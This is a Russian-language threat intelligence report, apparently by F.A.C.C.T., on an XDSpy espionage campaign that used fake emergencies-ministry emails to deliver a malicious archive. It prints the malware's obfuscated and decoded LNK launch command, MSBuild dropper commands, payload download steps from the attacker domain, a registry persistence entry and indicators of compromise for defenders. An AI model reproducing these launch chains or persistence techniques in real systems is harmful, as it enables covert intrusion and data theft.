Шпион, выйди вон: группа XDSpy атаковала российские организации от имени МЧС
XDSpy — одна из самых таинственных и малоизученных кибершпионских групп. Впервые ее засек в феврале 2020 года белорусский CERT, хотя сама группа активна как минимум с 2011 года. Большинство целей XDSpy находятся в России — это правительственные, военные, финансовые учреждения, а также энергетические, исследовательские и добывающие компании. Но несмотря на то, что XDSpy с завидной регулярностью появляется на радарах, международные специалисты так и не определились, в интересах какой страны работает эта хак-группа.
Итак, что случилось? Во вторник, 11 июля, Центр кибербезопасности F.A. C.C.T. получил оповещение о том, система для проактивного поиска и защиты от сложных и неизвестных киберугроз F.A. С.С.T. Managed XDR задетектила вредоносную рассылку. Системе потребовалось всего пару минут, чтобы «сдетонировать» вредоносную нагрузку и извлечь индикаторы, по которым удалось атрибутировать атаку к шпионской группе XDSpy. Среди вероятных целей хакеров оказались несколько российских компаний и организаций, и один из известных научно-исследовательских институтов.
Изображение 1. Процесс извлечения вредоносного файла по ссылке в письме в системе
Изображение 2. Атрибуция с помощью F.A. C.C.T. Threat Intelligence по домену files-manager[.]com, содержащему полезную нагрузку.
Письмо-приманка, подписанное Министерством по чрезвычайным ситуациям, довольно странное — тема сообщения абсолютно не соответсвует функциям МЧС. В тексте письма получателей просят посмотреть список сотрудников компании, которые «могут симпатизировать группам, дестабилизирующим внутреннюю ситуацию в России». Отправители письма угрожают, что в случае отсутствия ответа, против сотрудников будут приняты юридические меры.
Изображение 3. Скриншот письма-приманки из рассылки, которая шла в ночь с 10 на 11 июля.
Под видом файла-приманки Spisok_rabotnikov.pdf со списком врачей (!) одной из клиник Ростова-на-Дону загружается вредоносная программа, которая собирает чувствительные данные и документы с компьютера жертвы.
Изображение 4. Ряд выявленных индикаторов в результате детонации вредоносного экземпляра в Malware Detonation Platform F.A. C.C.T. MXDR.
После обнаружения новой кампании XDSpy Аветик Надирян, руководитель группы по выявлению и реагированию на киберинциденты Центра кибербезопасности F.A. C.C.T., провел первичный анализ рассылки для ее атрибуции и определения масштаба атаки, а затем к реверсу подключилась «тяжелая артиллерия» в лице Дмитрия Купина, ведущего специалиста по анализу вредоносного кода компании F.A. C.C.T. Их находки и индикаторы компроментации мы приводим ниже.
Анализ рассылки 11 июня
Внутри письма содержится гиперссылка hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/grWUbTk00UWnSutvoJLaUkJyI в имени документа Spisok_rabotnikov.pdf, которая ведет на загрузку вредоносного архива Spisok_rabotnikov.zip.
Архив Spisok_rabotnikov.zip для рассылки был подготовлен 10.07.2023.
Архив Spisok_rabotnikov.zip содержит 2 файла:
Spisok_rabotnikov.lnk — запускает C# код задачи UTask, содержащийся в файле .DS_Store.
.DS_Store — содержит мусорные строки, команды оболочки командной строки, C# код задачи UTask, настройки проекта сборки и закодированную алгоритмом Base64 полезную нагрузку, которая представлена в виде 9 исполняемых файлов: две DLL легитимные, а остальные семь DLL — задачи, запускающиеся через MSBuild.exe.
В результате выполнения задач происходит демонстрация файла-приманки, скрытая загрузка файла полезной нагрузки HealthDataExperience.exe с сетевого ресурса files-manager[.]com и его последующий запуск. Подробное техническое описание функциональных возможностей представлено ниже.
LNK
LNK-файл Spisok_rabotnikov.lnk предназначен для запуска C# кода задачи UTask, содержащегося в файле .DS_Store. Команда в LNK-файле обфусцирована и имеет следующий вид:
forfiles.exe /p %USERPROFILE% /s /m *Spisok_rabotnikov.zip /c "0x630x6d0x640x2e0x650x780x65 /0x63 0x630x64 %TEMP% & 0x74ar -0x78f @path 0x2e* & 0x630x6d0x640x2e0x650x780x65 /q < %TEMP%\0x2eDS_Stor0x65"
После деобфускации команда имеет вид:
forfiles.exe /p %USERPROFILE% /s /m *Spisok_rabotnikov.zip /c "cmd.exe /c cd %TEMP% & tar -xf @path .* & cmd.exe /q < %TEMP%\.DS_Store"
Команда в LNK-файле выполняет следующие действия:
Используя forfiles.exe происходит рекурсивный поиск архива по маске *Spisok_rabotnikov.zip, начиная с каталога текущего пользователя %USERPROFILE%.
Переход в каталог %TEMP%, используя команду cd.
В каталоге %TEMP% с помощью команды tar.exe (доступна, начиная с Windows 10) происходит распаковка файлов, имена которых начинаются с .* из обнаруженного архива Spisok_rabotnikov.zip.
Запуск содержимого из %TEMP%\.DS_Store файла построчно, используя команду «cmd.exe <".
UTask (C# Dropper)
Файл .DS_Store содержит в самом начале мусорные строки (элемент обфускации), после которых следуют команды:
mkdir %USERPROFILE%\source\repos\FZdlyPUMslYX
cd %USERPROFILE%\source\repos\FZdlyPUMslYX
copy /Y %TEMP%\.DS_Store %USERPROFILE%\source\repos\FZdlyPUMslYX
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe %USERPROFILE%\source\repos\FZdlyPUMslYX\.DS_Store >nul 2>&1
exit
В результате выполнения данных команд создается каталог %USERPROFILE%\source\repos\FZdlyPUMslYX, в который копируется файл %TEMP%.DS_Store, после чего происходит компиляция и запуск содержимого C# кода файла .DS_Store с помощью MSBuild.exe.
После указанных команд располагается C# код задачи UTask.
Задача UTask выполняет роль дроппера. Код данной задачи обфусцирован и предназначен для декодирования полезной нагрузки (располагается после C# кода задачи UTask) и сохранения декодированных файлов полезной нагрузки в каталог %USERPROFILE%\source\repos\FZdlyPUMslYX:
IRVkMCvS.blob — XorTask (задача _aSyzNgT7d18NpzuJHYhlYrzXNPG)
jFXvSUwAb.blob — AntiSandboxTask (задача _fsh1fYMdExGdJ0UKqIXq0s0tLJG)
KNEdBVMwkY.blob — ExecuteTask (задача _dycW4DGLIQ75gosRrPdxqttPfkE)
kVaocWvcXxpj.blob — DownloadTask (задача _eXdtj65NprE9kjSakYTX7tOsbLb)
MuIJdGFgmniD.blob — SlowdownTask (задача _huo7h8CP6Mizq9S4Dg5zNuYyVyb)
nXkBdHyy.blob — HideTask (задача _SaCF5×1zV8jhINFNCliJJ0Atydp)
xnhvkUzROwkSr.blob — GuardTask (задача _FkOdNAsgTdH0tOPitrVXFSQ991z)
Microsoft.Build.Framework.dll — легитимный файл
Microsoft.Build.Utilities.Core.dll — легитимный файл
Полезная нагрузка содержит 9 исполняемых файлов, каждый из которых имеет следующий формат в закодированном виде:
Файлы *.blob динамически подключаемые библиотеки (DLL) формата PE32, реализованные на .NET и обфусцированные, предположительно, кастомным ConfuserEx.
После выполнения задачи UTask, MSBuild.exe последовательно исполняет задачи:
nXkBdHyy.blob (HideTask), KNEdBVMwkY.blob (ExecuteTask), xnhvkUzROwkSr.blob (GuardTask), MuIJdGFgmniD.blob (SlowdownTask), jFXvSUwAb.blob (AntiSandboxTask), kVaocWvcXxpj.blob (DownloadTask), MuIJdGFgmniD.blob (SlowdownTask), IRVkMCvS.blob (XorTask), KNEdBVMwkY.blob (ExecuteTask).
Стоит отметить, что важные строки зашифрованы алгоритмом XOR с ключом 16 байт, который передается в параметрах со случайными именами в виде строки. В задачах: HideTask, ExecuteTask, GuardTask, SlowdownTask, AntiSandboxTask, DownloadTask; ключ 3309f5a10063afef30290e635561bcd8, а в задаче XorTask ключ a88194101b73a5b1ed1fff9ebf340726.
В таблице ниже представлены расшифрованные строки, передающиеся в качестве параметров указанным выше задачам, кроме HideTask, AntiSandboxTask и SlowdownTask.
Задача | Параметр | Расшифрованная строка |
ExecuteTask | mkXFB6MZ8lmESONcDol1JTjR4Kq | hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf |
ExecuteTask | mkXFB6MZ8lmESONcDol1JTjR4Kq | HealthDataExperience.exe |
GuardTask | _VueDgAHltwEszdmBp5N8BtOpFUh | %temp%\zWOnFfZp |
DownloadTask | _NGWUhdaVQc7D9i5aaMH5YMArRqk | hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI |
DownloadTask | _msWUmumCLqCVU6edlovRYG0Y6Eg | HealthDataExperience.exe |
DownloadTask | _BScGwQZfayw3c2LBgfvUA1e8AVg | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 YaBrowser/22.1.0 Yowser/2.5 Safari/537.36 |
XorTask | _4fCwQ7rAqcME3wfkvX8av4ravkY | HealthDataExperience.exe |
Краткое описание последовательности выполнения задач
0. UTask — декодирование файлов полезной нагрузки (располагаются после C# кода задачи UTask) и их создание в каталоге %USERPROFILE%\source\repos\FZdlyPUMslYX.
1. nXkBdHyy.blob (HideTask) — сокрытие активного окна запущенного процесса.
2. KNEdBVMwkY.blob (ExecuteTask) — открытие файла-приманки в веб-браузере по умолчанию: hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf.
5. jFXvSUwAb.blob (AntiSandboxTask) — проверка значений параметров VBAWarnings, AccessVBOM, ExtensionHardening ключей реестра [HKCU\SOFTWARE\Microsoft\Office{0}.0\Word\Security], где {0} — числа от 12 до 19 включительно.
6. kVaocWvcXxpj.blob (DownloadTask) — загрузка файла полезной нагрузки по ссылке hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI и его сохранение с именем %USERPROFILE%\source\repos\FZdlyPUMslYX\HealthDataExperience.exe.
7. MuIJdGFgmniD.blob (SlowdownTask) — временная задержка выполнения кода.
8. IRVkMCvS.blob (XorTask) — расшифровка загруженного файла полезной нагрузки %USERPROFILE%\source\repos\FZdlyPUMslYX\HealthDataExperience.exe.
9. KNEdBVMwkY.blob (ExecuteTask) — запуск загруженного файла полезной нагрузки %USERPROFILE%\source\repos\FZdlyPUMslYX\HealthDataExperience.exe.
Стоит отметить, что почти во всех задачах, кроме XorTask, добавлена проверка перед выполнением основного кода задачи. Проверка заключается в сравнении подстроки «fe» — 14 и 15 символ строкового параметра »3309f5a10063afef30290e635561bcd8» с прописанной в коде строкой «fe». Если подстрока отлична от «fe», тогда основной код задачи не выполняется.
XDSpy.Mainmodule — HealthDataExperience.exe
XDSpy.Mainmodule является исполняемым файлом формата PE32 и представляет собой агент, предназначенный для получения модулей, выполняющих основные вредоносные действия. Также XDSpy.Mainmodule обрабатывает команды, получаемые от сервера управления lifestyle-star[.]com:443 (91.235.116[.]194). Вредоносная программа обфусцирована и обладает техниками AntiVM и AntiDebug.
Вредоносная программа закрепляется в реестре ОС:
[HKCU\Environment] "UserInitMprLogonScript" = %USERPROFILE%\source\repos\\HealthDataExperience.exe
XDSpy пользовалась подобными техниками и раньше: в середине марта текущего года кибершпионы атаковали структуры МИДа России, а в октябре 2022 года — российские организации с фейковыми повестками от имени Минобороны.
Специалисты F.A. C.C.T. продолжают следить за XDSpy и ведут исследование полезной нагрузки XDSpy.Mainmodule из данной атаки. По мере поступления новой информации будут дополнять исследование.
Индикаторы компроментации (IOCs)
Файловые
Каталог
%USERPROFILE%\source\repos\
Файлы
%USERPROFILE%\source\repos\
%USERPROFILE%\source\repos\
%USERPROFILE%\source\repos\
%TEMP%\.DS_Store
%TEMP%\
SHA-256 хеши
Spisok_rabotnikov.zip
9f2f6664297714290cb7e1740a1ca1a53957264d43e8662ffd4712c335e2ff30
18c111c6d6fbed436450e158e046ab13a572fb58ea2cc647d398e688061a880c
b4f0d197276d7a376ad376b3165736e70a2aa06003a5c73500b93d85df2ee7c8
Spisok_rabotnikov.lnk
a1bf620c66b8060423c36d07275d66c802af1463b533bc412705680b6c621ebe
9f51f81a395d1e7c2ff2ed9cdb61cd0ce12573523585c19695d8d8db3c8dd02e
14df219f9fc09d02ca35cb1c9a81e99d89385577d44d6b9887c22a02cb8e865b
b878ed1679b45df16f046ddc495150efd4d7e9fb9c7873c40d6368a8515ed1db
5ed56ba4a51516a8bbba25edaeefb0a382f3729c9b28b087962a455d36bb415c
.DS_Store
c296d67b23b2d6ee724aa4984d8acd16231037ac2c66f747213b8d8ee3ac530c
076fa1b5c47fb308fa7598b52cab52b736f079f33ddd1fdca160b3a1770d64a3
bd9abe9085034ac6b3c0ae66d45963ef72d310a8f5b4b6fb9464e00ade90c2c3
e3e706a66638136ebcba0cf7194708b1d2bae3edfc66bd16e4fefb17cdcbe69f
7081eba7ef918913aa2f84e52441ae163800965127567bde499ccebdf9973db9
HealthDataExperience.exe
9f07a6d5345aa1d1a4a906cb2672e33502783efade2b37ea6a5a85608cd8b722
Реестр ОС
[HKCU\Environment] «UserInitMprLogonScript» = %USERPROFILE%\source\repos\
Сетевые
Ссылки (URL)
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/LSsyn5Hg8zSoOQA3rCwAeX6VC
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/7lxPi6uv7HMWZqDRApOZXlDxS
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/sbrD01qG7a8ZqdfAu5YTaDTg6
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/DJ43gz32xiTgDMXNT7w7eU2t9
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/LlPkkPSSeb5xzq0IoIKoWMBQN
hxxs://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/d0qUEl0rgGThHT2r6m0EzXJ7E
hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/7iYQUryqOsmAR6aFiYqckHW2i
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/grWUbTk00UWnSutvoJLaUkJyI
hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf
hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI
Домены
files-manager[.]com
lifestyle-star[.]com
IP-адреса
185.56.136[.]50
91.235.116[.]194